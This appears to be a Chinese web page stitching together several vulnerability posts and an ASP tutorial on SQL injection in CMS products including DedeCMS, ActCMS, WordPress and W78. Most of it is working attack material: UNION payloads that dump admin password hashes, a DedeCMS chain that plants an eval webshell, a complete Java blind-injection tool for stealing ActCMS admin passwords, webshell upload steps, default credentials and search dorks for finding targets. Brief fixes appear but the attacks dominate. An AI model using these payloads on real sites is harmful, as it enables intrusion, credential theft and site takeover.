下面是小编给大家带来的浅析注入漏洞的查与补(共含9篇),以供大家参考,我们一起来看看吧!同时,但愿您也能像本文投稿人“mct”一样,积极向本站投稿分享好文章。
===[ Exploit ]===
www.WordPress.com/?event_id=[Sql]
www.WordPress.com/Path/?event_id=[Sql]
Exploit:
null+and+1=2+union+select 1,concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+wp_users
dedecms5.3和5.5系列版本存在重大注入漏洞,
作者:张恒
假设域名是:www.abc.com攻击步骤如下:
1.访问网址:
www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
2.访问 www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了.
int(3) Error: Illegal double ’1024e1024’ value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
3.执行压缩包里的文件test.html,注意form中action 的地址是:
按确定后的看到第2步骤的信息表示文件木马上传成功.
木马网址:www.abc.com/data/a.php
密码:888
漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞.
解决方案:
打开文件include/dedesql.class.php
找到代码
@fwrite($fp, ’<’’.’?php’.“/*{$savemsg}*/?”.“>”);
替换代码
@fwrite($fp, ’<’.’?php’.“exit;/*{$savemsg}*/?”.“>”);
清空 data/mysql_error_trace.php 文件内容
一、注入点的查找
当我们想要测试某个站点时,一般会架上注入工具对其狂轰乱炸,这样做虽然有时能找到注入点,但还是有些盲目,我个人的看法是:如果有源码的话,就从源码入手,在源码中查找注入点,对于源码,有些朋友可能觉得很难,其实源码并不神秘,它也是有一定的语法规则的,看一套优秀的源码就像是在欣赏一部精美的电影,只要我们坚持每天看一些优秀源码,再加上百度这个老师的指点,用不了多久,源码的神秘面纱就会被你揭去。闲话少说,下面我们就开始查找注入点,目标有两个:一是Request,二是SQL语句。
说到Request,这个是ASP程序中的一个内建对象,怎么?不懂?那就跟我先来恶补一下吧!它是用来获取客户端信息的,有五种方法,而会出现注入点的一般有以下三种:
1、Request.QueryString:取得客户端提交的信息。当Form以Get方法提交信息,或是直接在URL中提交变量值时,在服务器端接收数据时采用的就是这种方法。
2、Request.Form:同样也是取得客户端提交的信息,但它接收的是Form以Post方法提交的信息。
3、Request.Cookies:取得客户端浏览器的Cookies信息。Cookies就是小甜饼,指的是一些私人信息,如用户名、密码之类的信息。
有些程序员为了减少错误,对于前两种信息的获取,会采用Request来取得客户端提交的信息,这种方法,虽然可以通吃Request.QueryString和Request.Form的提交信息,但如果过滤的不好,就会被漏洞反咬一口。
了解过一些Request的知识后,下面就在“查找”中输入“request”进行搜索,OK!当找到上面所列的三项Request语句后,再来看一下程序对这些Request语句是否做了过滤,比如ID值是否用INT过滤,例:id=int(request(“id”));字符串值是否用replace 或instr()等函数进行过滤单引号或一些特殊字符,例:username=replace(request(“username”),“'”, “”);或者程序是否采用本身的一些过滤函数来过滤这些提交值。从查找到这句request参数起,一直到SQL语句中使用这个提交值至,如果中间没有上面的层层关卡,那么,一个注入点,基本上就算是出现了。
说到SQL语句,不能不提到以下几个常用的语句:
1、查询语句:Select [(<字段名1>[,<字段名2>, ...])] FROM <表名jmdcw>[Where <条件表达式>[AND|OR <条件表达式>...]条件表达式>条件表达式>表名jmdcw>字段名2>字段名1>
2、更新语句:Update <表名jmdcw>SET 列名1 = 常量表达式1[,列名2 = 常量表达式2 ...] Where <条件表达式>[AND|OR <条件表达式>...]条件表达式>条件表达式>表名jmdcw>
3、删除语句:Delete FROM〈表名JMDCW〉[Where <条件表达式>[AND|OR <条件表达式>...]]条件表达式>条件表达式>
这里不对SQL语句做介绍了。在上面列出的SQL语句中,注入点出现频率最高的是Select语句,而注入参数的出没地通常都是在Where之后的条件中。当一个没有过滤的Request语句进入SQL语句后,就是注入大显身手的时候了,不过,在进行注入之前还要先看一下该参数是直接引入,还是用单引号引入的,另外,该参数是否还应用于其他SQL语句中,然后,根据不同的信息,选择不同的处理方式,或直接暴破,或UNION查询,当然,如果存在注入点的程序使用的是SQL数据库,那就不单单是得到一些重要信息,甚至还可以增加管理员。
下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍:
引用
<%
if request(“userid1”)“” then '
set rst=server.createobject(“adodb.recordset”)
sql=“select money,online from users where userid='”&request(“userid1”)&“' and password='”&md5(request(“pws”))&“'”
rst.open sql,conn,1,3
if rst.eof and rst.bof then
response.write“”
else
response.write“”
response.write“”
rst.close
set rst=nothing
conn.close
set conn=nothing
end if
end if
%>
在其流程中,首先判断取得的提交值userid1是否为空,不为空的话就进入SQL语句中,验证取得的用户名及密码是否和数据库内的用户名及密码一致,如果不一致,则弹出“用户名及密码错误”窗口,否则,就弹出“恢复成功”的窗口,
这也是一段典型的注入漏洞源码,并且,接收的方式还是使用的 request,这就给我们提交注入语句提供了最大的方便。如果我们在URL地址中提交如下字符:http: //127.0.0.1/wantlogin.asp?userid1=aa&pws=bb,因为没有aa这个用户,那么就会弹出错误窗口,而如果我们将aa换成如下字符:aa' or 1=1 or '1'='1,pws保持不变,这样提交的语句到了SQL语句中就成了如下语句:
select money,online from users where userid1='aa' or 1=1 or '1'='1' and password='md5(bb)',以往我们所见到的测试代码一般为“or 1=1”,而这里却多用了一个 or ,为什么要多用一个or呢?解释一下,在逻辑运算符中,and的优先级别高于or ,程序运行后会先运算后面的'1'='1' and password='md5(bb)',因为密码是随便输入的,所以and后的password值为假,而and前的'1'='1'虽然为真,但真and 假=假,所以,这个and的运算值为假,再来看or运算,因为前面的用户名也是不存在的,其值当然为假,如此一来,where后的逻辑运算就成了如下表达式:假or真or假,结果值还是为真,这样就会弹出“恢复成功”窗口,如果将其中的or 1=1 改为or 1=2,那逻辑表达式则成了:假or假or假,值当然也为假,弹出的就是“用户名或密码错误”的窗口。这样,根据弹出窗口的不同,我们就可以构造一些特殊字符,然后猜测出需要的数据了,比如查询管理员ID的语句,将or后的1=1更改为: 1=(Select top 1 id from admin),这里暂用admin表示管理员表名,如果存在ID为1的管理员,那么就会弹出“恢复成功”的窗口,否则,就证明管理员的ID不为1,那就要再用其他数字来测试。猜出管理员ID后,再把此段字符更改为猜测管理员名称长度的字符:5<(Select len(adminname) from admin where id=1),如为真,则证明长度大于5,否则长度小于或等于5。猜出长度后,再用asc()函数来猜测管理员的名称:90<(select asc(mid(adminname,1,1)) from admin where id=1),如此循环,就能暴破出管理员的名称及密码了。
上面提到的是Request.QueryString和Request.Form的注入方法,而Request.Cookies的注入方法则是要修改本地的Cookies值来实现的,推荐使用一些专门的Cookies修改工具,不过,用Cookies来注入相对而言,就麻烦了好多,但原理和前面的注入是一样的,这里就不介绍了。
二、注入点的修补
在上面着重讲了如何查找注入点及简单的利用方法,当我们知道了攻后,也就明白了如何守,攻和守之间虽然是对立的,但也是相互的。明白了什么地方存在注入点,再来修补也就容易多了。在前面查找注入点时,我也提到查看程序中是否对提交参数进行了过滤,每个程序对注入的过滤函数都不相同,我们在修补自已站点上的注入点时,可参照其他程序中的过滤函数,也可根据自已的需要,单独过滤一些敏感的字符。这里,还是以上面的那个例子来说一下如何修补注入点。在前面的 SQL语句中有这一句:userid='“&request(”userid1“)&”',这其中对提交来的参数是用单引号来引入的,而我们能成功注入也是在提交参数中加入了单引号来闭合其语句,这样,加入一个replace()函数对单引号进行过滤,修改后的语句为:userid= '“&replace(request(”userid1“),”'“,”“)&”',这样用户再提交带有单引号的字符时, Replace()就会将单引号过滤为空,如此一来,提交的那些特殊字符也就失去了其意义。
当然,我们还可以在userid1进入SQL语句之前,对其长度进行一下判断,如果超过规定的长度,就弹出错误,中止页面执行并返回到指定的页面。当然还可以借鉴一些优秀源码中的过滤方法。总之,注入漏洞是可以避免的,即使出现了注入点,只要我们分析出其出现的原因,也就能很容易地将其修补了!
一款ASP的CMS程序,用的人并不是太多。
GOOGLE一下关键字“Copyright @ www.actcms.com” ,不是太多。
今天看了一下代码。
基本上所有的参数全都被过滤掉了。。
不过投票那里出了点小问题。。
在/plus/vote/vote.asp页面。
代码如下:
ASP/Visual Basic代码
....
if request(“voted”).count=0 then
response.write “”
response.end
end if
for i=1 to request(“voted”).count
actcms.actexe(“Update vote_act set VoteNum=VoteNum+1 where id=”&request(“voted”)(i))
next
....
response.Redirect “index.asp?id=”&id&“”
id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。
唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。
代码如下:
Java代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ActCmsGetPwd {
public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8',
'9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z' };
public static String siteurl = “”;
public static int voteid = 1;
public static String charset = “”;
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out
.println(“usage:java ActCmsGetPwd System.out.println(“siteurl:目标站点”); System.out.println(“voteid:投票id”); System.out .println(“totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id= System.out.println(“charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码”); System.out.println(“eg:java ActCmsGetPwd www.abc.com/ 1 15 gb2312”); return; } siteurl = args[0]; voteid = Integer.parseInt(args[1]); int preVoteNum = Integer.parseInt(args[2]); charset = args[3]; System.out.println(“Code by Ninty , QQ 3191864”); System.out.print(“password is :”); for (int i = 1; i <= 16; i++) { System.out.print(send(i, 0, preVoteNum)); preVoteNum++; } System.out.println(“\nDone!”); } public static char send(int a, int b, int preVoteNum) throws Exception { String sql = “%20and%20(select%20top%201%20mid(password,” + a + “,1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'” + arr[b] + “'”; URL u = new URL(siteurl + “/Plus/vote/vote.asp?dopost=send&id=”+voteid+“&ismore=0&voted=3” + sql); URLConnection conn = u.openConnection(); BufferedReader reader = new BufferedReader(new InputStreamReader(conn .getInputStream(),charset)); String str = reader.readLine(); while (str != null) { if (str.indexOf(“ 投票人数:”) != -1) { break; } str = reader.readLine(); } reader.close(); if (!isRight(str, preVoteNum)) { return send(a, ++b, preVoteNum); } else { return arr[b]; } } public static boolean isRight(String str, int preVoteNum) { if (str == null) { System.out.println(“无法读取!”); System.exit(0); } Pattern pat = Pattern.compile(“人数:(\\d+)”); Matcher mat = pat.matcher(str); if (mat.find()) { int num = Integer.parseInt(mat.group(1)); if (num != preVoteNum) { return true; } } return false; } }
下面是已经编译好的 class文件,编译环境JDK6,
直接运行就好。
actcmsgetpwd.class
在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。
/commond.aspx?id=1869
没办法union,只能让它暴错了
暴管理员用户名:/commond.aspx?id=1869 and 1=(select top 1 [name] from web_admin)--
暴管理员密 码:/commond.aspx?id=1869 and 1=(select top 1 [pass] from web_admin)--
过滤了单引号.只能把字符串转化成16进制的了
更新管理员密码:update web_admin set
pass=0x310046004100450037004200450041004300460035003600330041003200430042
004400450037004400450041003600340042003700430037004300
weblogin/System_Config_Operate.aspx
后台上传水印.可以直接上传大马.
拿webshell
切记.千万不要传ASPX的马......不然不会成功的.
你可以先传ASP的马..再传ASPX马.
马的路径为:uploadFile/Picture/木马.asp
关键字:services.aspxid=
inurl:scoreindex.aspx
默认后台地址:weblogin/Login.aspx
/weblogin/index.aspx
复制这段代码 域名+代码
cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124) From (Select Top 4 [Name],[Pass] From [Web_Admin] Where 1=1 Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0 --
更新管理员密码:update web_admin setpass=0x310042004600410045003700420045004100430046003500360032003300410032004300420044
00450037004400450041003600340042003700430037004300
weblogin/System_Config_Operate.aspx
后台上传水印.可以直接上传大马.
后台拿webshell
切记.不要传ASPX的马......不然不会成功的.
你可以先传ASP的马..再传ASPX马.
马的路径为:uploadFile/Picture/木马.asp
文章作者:黑面小窝
修复:对照过滤
W78企业ASP网站管理系统V1.1的SQL注入
程序发布日期:03月18日.
裸奔的系统,
1.shopmore.asp
set rs=server.createobject(“adodb.recordset”)
exec=“select * from [shop] where ssfl=”& request.QueryString(“id”) &“ order by id desc ”
rs.open exec,conn,1,1
if rs.eof then
response.Write “ 该分类暂无产品!”
else
rs.PageSize =20 '每页记录条数
iCount=rs.RecordCount '记录总数
iPageSize=rs.PageSize
maxpage=rs.PageCount
page=request(“page”)
if Not IsNumeric(page) or page=“” then
page=1
2.about.asp
exec=“select * from [about] where id=”& request.QueryString(“id”)
set rs=server.createobject(“adodb.recordset”)
rs.open exec,conn,1,1
3.search_news.asp
dim title
title=request.form(“form_news”)
set rs=conn.execute(“select * from [news] where title like '%”&title&“%'”)
if title=“” then
response.write (“”)
end if
if rs.eof then
response.write (“”)
还有其他的页面,
4.此系统的在线编辑登录页面为admin/eWebEditor/admin/login.asp
默认user:admin password:198625
不能进的还可以试试
后台默认密码为86779533 abc123这两个
试试数据库默认地址为/data/%23sze7xiaohu.mdb
exp:www.voicetune.com/about.asp?id=2%20and%201=2%20union%20select%201,admin,3,password,5,6%20from%20admin
www.voicetune.com/ShopMore.asp?id=13%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7,8,9%20from%20admin
搜索型注入:%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='
Google:inurl:ShopMore.asp?id
get_terms过滤器文件中声明taxonomy.php 没有正确验证用户输入,允许攻击者构建任意sql命令,可用于盲注,
以下网址可用于执行SQL盲注攻击
[SQL injection] sql注入
localhost/wp-admin/edit-tags.php?taxonomy=link_category&orderby=[SQL
injection]&order=[SQL injection]
localhost/wp-admin/edit-tags.php?taxonomy=post_tag&orderby=[SQL
injection]&order=[SQL injection]
localhost/wp-admin/edit-tags.php?taxonomy=category&orderby=[SQL
injection]&order=[SQL injection]
第二个:
get_bookmarks()函数中声明的
bookmark.php文件没有正确验证用户输入
这个也可以盲注
以下网址可用于执行SQL盲注攻击
localhost/wp-admin/link-manager.php?orderby=[SQLinjection]&order=[SQL injection]
WordPress已经确认漏洞存在了
漏洞解决:
升级到3.1.4 或者 3.2-RC3版本,
Version: <= 2.1.0
# Homepage: iGiveTest.com/
谷歌关键字: “Powered by iGiveTest”
随便注册一个帐号,
iGiveTest 2.1.0注入漏洞漏洞预警
,
然后暴管理员帐号和密码
www.xxxx.com/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1
Simple-Log是基于PHP+MySQL的开源免费博客系统,系统轻巧运行速度飞快并具有很好的可扩展性.
程序下载down.cnzz.cn/Info/57357.aspx
----------------------------------------------
刚买到vps,打算装个blog系统,看到simple-log比较简洁,就下了最新的装了,,
simplelog v1.3.1 注入漏洞漏洞预警
,
谁知道,偶刚装好,到前台看到搜索就搜了下,没想到真有洞,urldecode()惹的祸。
试了下,真可以爆啊,无语了。
再上一张图吧,数据依然可以爆掉。
★ shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警
★ udev漏洞提升